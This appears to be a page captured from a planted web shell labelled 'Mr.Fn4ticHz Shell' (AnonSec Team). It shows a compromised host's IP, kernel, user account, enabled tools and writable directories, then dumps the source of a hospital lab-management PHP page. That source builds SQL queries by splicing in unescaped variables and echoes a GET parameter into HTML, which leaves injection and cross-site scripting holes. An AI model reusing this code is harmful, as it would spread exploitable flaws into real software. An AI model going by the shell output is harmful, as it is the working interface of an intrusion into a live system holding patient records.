Mr.Fn4ticHz Shell
Server IP : 162.240.98.243  /  Your IP : 18.188.137.58
Web Server : Apache
System : Linux server.bti.yaw.mybluehostin.me 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : btiyawmy ( 1003)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/btiyawmy/www/login.easenup.in/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/btiyawmy/www/login.easenup.in/lab_inhouse.php
<?php
session_start();
require_once("../LoginManager.php");
require_once("../DBManager.php");
include("dbconnection.php");
include("header.php");
include("menu.php");
?>

<!DOCTYPE html>
<html lang="en">
  <head>
   <link rel="stylesheet" href="select2.min.css" />
      <style>

 
/* Automatic Serial Number Row */
.css-serial {
 counter-reset: serial-number; /* Set the serial number counter to 0 */
}
.css-serial td:first-child:before {
 counter-increment: serial-number; /* Increment the serial number counter */
 content: counter(serial-number); /* Display the counter */
}
</style>

    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="">
    <meta name="author" content="Dashboard">
    <meta name="keyword" content="Dashboard, Bootstrap, Admin, Template, Theme, Responsive, Fluid, Retina">

    <title>In House Patient</title>
  <div class="content-wrapper">
    <!-- Content Header (Page header) -->
    <section class="content-header">
  <body>
      
           	<h3><i class="fa fa-angle-right"></i> Inhouse </h3>
          
  </head>
<label>Select Date</label>

<input type='date' onchange="drugload(this.value)" name='Admitted_Under'>
         
		  <br><br>
     <div id='divdr'>
 
 
<input type="search" class="light-table-filter" data-table="order-table" placeholder="Search" />
 <table id="example2"  class="order-table table table-bordered table-hover css-serial">
     
                  <tr>
                      <th>SR No</th>
                   <th>Created</th>
          <th>Patient Details</th>
            <th>Investigation</th>
            <th>Status</th>
                <th>Action </th>
               </tr>


               
                 
<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		while($re = mysqli_fetch_array($qsql1))
		{
			$sql ="SELECT * FROM investigation WHERE hospital_id='$re[entered_by]'";
		$qsql = mysqli_query($con,$sql);
		while($rs = mysqli_fetch_array($qsql))
		{
            echo " <tbody>
                                                                                                                                                                
     <tr>   <td>&nbsp;</td><td>$rs[created_at]
     ";
     if (is_numeric($rs[entered_by]))
{
$sql11 ="SELECT * FROM site_users WHERE userno='$rs[entered_by]'";
		$qsql11 = mysqli_query($con,$sql11);
	while($rh11 = mysqli_fetch_array($qsql11))
echo "<br>$rh11[name]";
}
echo"
     </td> ";
         if (is_numeric($rs[patientid]))
{
$sql11 ="SELECT * FROM patient WHERE patientid='$rs[patientid]'";
		$qsql11 = mysqli_query($con,$sql11);
	while($rp = mysqli_fetch_array($qsql11))
echo "<td><b>UHID :</B>$rp[patientid]
                 <br>
            <b>Name :</b>$rp[patientname] <br><b>Age : </b>$rp[dob]&nbsp; $rp[gendor]</td><td>&nbsp";
}

	   if (is_numeric($rs[Category]))
{
$sql1 ="SELECT * FROM labdepartment WHERE labdepartmentid='$rs[Category]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
echo "$rh1[lab_department_name]";
}
   if (is_numeric($rs[Sub_Category]))
{
$sql1 ="SELECT * FROM radiobodypart WHERE radiobodypartid='$rs[Sub_Category]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
echo "-  &nbsp; $rh1[bodypart]";
}
   if (is_numeric($rs[Sub_Category]))
{
$sql1 ="SELECT * FROM list_Investigation WHERE ivid='$rs[Investigation]'";
		$qsql1 = mysqli_query($con,$sql1);
	while($rh1 = mysqli_fetch_array($qsql1))
echo "-  &nbsp; $rh1[Investigation]";
}
            $sqlpatient1 = "SELECT * FROM list_Investigation WHERE ivid='$rs[ivid]'";
	$qsqlpatient1 = mysqli_query($con,$sqlpatient1);
	while($rsn = mysqli_fetch_array($qsqlpatient1))
	{
	    echo"
	    $rsn[Investigation]"; }
	    echo"</b></td>";
	       if (is_numeric($rs[patientid]))
{
$sql111 ="SELECT * FROM patient_invace WHERE patientid='$rs[patientid]' AND discription='Investigation_charge' AND 	pagetype='$rs[Investigation]'";
		$qsql111 = mysqli_query($con,$sql111);
	if($rh111 = mysqli_fetch_array($qsql111))
	 $pricedue=$rh111[pricetotal];
	 echo "	<td>Amount-
              	
              			";$usertype=$rh111['status'];
if($usertype == 'Paid'){
    echo "Paid";
} else{
    echo "Due <b>$pricedue</b>";
}
         
}
$usertype=$rs['Investigation_type'];
if($usertype == 'Pathology'){
    echo"<br>";
if ($rs[Result]=='Done')
{
    echo " Report Created";
}
else if(is_numeric($rs[Result]))
{
    echo"Specimen Collected<br>Container Number :$rs[Result]";
}else {
 echo"<u><a href='lab_create_sample.php?patientid=$rs[patientid]&id=$rs[id]'>Collect sample </a></u>";
}
} else{
    echo "";
}
 echo "<br>";
  if (is_numeric($rs[Result]))
{

echo"Pending
        ";
        }else
{
    echo"$rs[Result]";
}
	    echo "</td>
         
		 <td><div class='btn-group'>
	  <button type='button' class='btn btn-default dropdown-toggle' data-toggle='dropdown' aria-haspopup='true' aria-expanded='false'>
	    Action <span class='caret'></span>
	  </button>
	  <ul class='dropdown-menu'><li><a href='createreport.php?&patientid=$rs[patientid]&id=$rs[id]' target='_blank'> <i class='glyphicon glyphicon-edit'></i> Create</a></li> <li><a href='upate_report.php?&patientid=$rs[patientid]&id=$rs[id]'> <i class='glyphicon glyphicon-save'></i> Edit Value</a></li>
	  <li><a href='upate_report.php?patientid=$rs[patientid]&id=$rs[id]'> <i class='glyphicon glyphicon-save'></i> Update Report</a></li>
	  </ul>
	</div></td>

	
          </tr>                   
      
     ";
}
}
?>  
   </tbody>
</table> 


<?php
include("dbconnection.php");
require_once('../DBManager.php');
require_once('../LoginManager.php');
$narayan=LoginManager::currentUser();
$usertype=LoginManager::getUserTypeByuname("$narayan");
$today = date('Y-m-d');
	$sql1 ="SELECT * FROM site_users WHERE userno='$usertype'";
		$qsql1 = mysqli_query($con,$sql1);
		if($re = mysqli_fetch_array($qsql1))
		{
		$sql2 ="SELECT * FROM discharge  WHERE hospital_id='$re[entered_by]'  AND typevisit='OPD' AND date(admissiondate) = '$today' OR hospital_id='$re[entered_by]'  AND typevisit='Opd_Emergency' AND date(admissiondate) = '$today' ORDER BY id DESC";
		$qsql2 = mysqli_query($con,$sql2);
		while($rs = mysqli_fetch_array($qsql2))
		{
	   $sql3 ="SELECT * FROM addaspatient WHERE prescriptionid='$rs[prescriptionid]'";
		$qsql3 = mysqli_query($con,$sql3);
		while($rsr = mysqli_fetch_array($qsql3))
		{
		    	$sql9 ="SELECT * FROM site_users WHERE userno='$rsr[Admitted_Under]'";
		$qsql9 = mysqli_query($con,$sql9);
		while($re9 = mysqli_fetch_array($qsql9))
		{
		    	$sql4 ="SELECT * FROM patient WHERE patientid='$rsr[patientid]'";
		$qsql4 = mysqli_query($con,$sql4);
		while($rp = mysqli_fetch_array($qsql4))
		{
		   
        echo " 
	                <tr>
               <td>&nbsp;</td>
              <td> $re9[name]</td>
                 <td><b>UHID :</B>$rp[patientid]
                 <br>
            <b>Patient Name </b><br>$rp[patientname]</td>
                                      						<td><a href='treatment_timline.php?prescriptionid=$rs[prescriptionid]&patientid=$rs[patientid]'>View</td>
                					  
          </tr>                   
    
          ";


}
		    
		}
		    
		}
		}
	
		}
		
?>   

      </div>
     
      </div>
<?php
if(isset($_SESSION[doctorid]))
{
?>  
<hr>
	<table>
		<tr>
			<td>
			<div align="center"><strong><a href="prescription.php?patientid=<?php echo $_GET[patientid]; ?>&appid=<?php echo $rsappointment[appointmentid]; ?>">Add Prescription records</a></strong></div>
			</td>
		</tr>
	</table>
	<script>
  $(function () {
    $("#example1").DataTable({
      "responsive": true,
      "autoWidth": false,
    });
    $('#example2').DataTable({
      "paging": true,
      "lengthChange": false,
      "searching": false,
      "ordering": true,
      "info": true,
      "autoWidth": false,
      "responsive": true,
    });
  });
</script>

<?php
}
?>  <script>
 function drugload(drid)
{
	    if (window.XMLHttpRequest) {
            // code for IE7+, Firefox, Chrome, Opera, Safari
            xmlhttp = new XMLHttpRequest();
        } else {
            // code for IE6, IE5
            xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
        }
        xmlhttp.onreadystatechange = function() {
            if (this.readyState == 4 && this.status == 200) {
                document.getElementById("divdr").innerHTML = this.responseText;
            }
        };
        xmlhttp.open("GET","loaddrji.php?drid="+drid,true);
        xmlhttp.send();
}
            
     
</script>
<script>
 $(document).ready(function () {
      $('select12').selectize({
          sortField: 'text'
      });
  });
  </script>

Anon7 - 2022
AnonSec Team